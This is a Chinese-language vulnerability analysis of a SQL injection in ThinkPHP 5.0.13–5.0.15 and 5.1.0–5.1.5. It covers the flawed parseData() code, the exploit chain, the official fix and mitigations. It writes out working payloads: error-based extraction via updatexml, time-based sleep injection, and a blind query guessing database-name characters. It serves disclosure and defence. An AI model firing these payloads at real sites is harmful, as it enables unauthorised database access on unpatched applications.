Thinkphp 5.0.15 SQL注入漏洞挖掘分析
字数 905 2025-08-06 08:35:25
ThinkPHP 5.0.15 SQL注入漏洞分析报告
漏洞概述
ThinkPHP 5.0.15版本存在SQL注入漏洞,影响范围为5.0.13<=ThinkPHP<=5.0.15以及5.1.0<=ThinkPHP<=5.1.5。该漏洞源于框架对inc/dec/exp操作的数据处理不当,导致攻击者可以通过构造特殊输入实现SQL注入。
漏洞原理分析
漏洞触发点
漏洞核心位于library/think/db/Builder.php文件中的parseData()方法,该方法在处理inc/dec/exp操作时存在安全缺陷。
关键代码分析
protected function parseData($data, $options) {
// ...
if (is_array($val) && !empty($val)) {
switch ($val[0]) {
case 'exp':
$result[$item] = $val[1];
break;
case 'inc':
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
break;
case 'dec':
$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
break;
}
}
// ...
}
漏洞利用链
- 用户输入通过框架的insert/update方法传入
- 数据传递到Builder类的insert/update方法
- Builder类调用parseData方法处理数据
- parseData方法对inc/dec/exp操作的数据直接拼接SQL语句,未进行充分过滤
漏洞利用条件
- 应用程序使用受影响版本的ThinkPHP框架
- 存在接收数组输入的功能点
- 输入数据会传递到数据库操作中
漏洞利用方法
基本Payload
public/index.php/index/index/?username[0]=inc&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1
报错注入示例
$user->username = input('post.username/a'); // 必须使用/a修饰符接收数组
Payload构造:
username[0]=inc&username[1]=updatexml(0x7e,user(),0x7e)&username[2]=1
时间盲注示例
?username[0]=inc&username[1]=sleep(5)&username[2]=1
或更精确的条件判断:
?username[0]=inc&username[1]=If(ascii(substr(database(),1,1))=115,1,sleep(3))&username[2]=1
漏洞修复方案
官方修复方式
ThinkPHP 5.0.16版本中修复了该漏洞,修复代码如下:
case 'inc':
if ($key == $val[1]) {
$result[$item] = $item . '+' . floatval($val[2]);
}
修复原理:增加了判断条件,要求输入的val[1]必须和数据库字段值相等才能进行SQL拼接。
临时修复建议
- 升级到ThinkPHP最新版本
- 对用户输入进行严格过滤
- 避免直接使用数组接收用户输入
漏洞验证方法
- 搭建受影响版本的ThinkPHP环境
- 创建一个接收数组输入的控制器方法
- 构造特殊Payload进行测试
- 观察数据库响应或错误信息
技术细节补充
inc/dec/exp操作说明
-
inc:字段递增操作
Db::table('think_user')->where('id', 1)->setInc('score'); -
dec:字段递减操作
Db::table('think_user')->where('id', 1)->setDec('score'); -
exp:表达式查询
where('id','exp',' IN (1,3,8) ');
漏洞利用限制
- 需要应用程序使用数组接收输入
- 在常规开发场景中较少直接使用数组接收用户输入
- 需要找到将用户输入直接传递到数据库操作的功能点
参考链接
- ThinkPHP5漏洞分析之SQL注入1
- ThinkPHP官方安全更新公告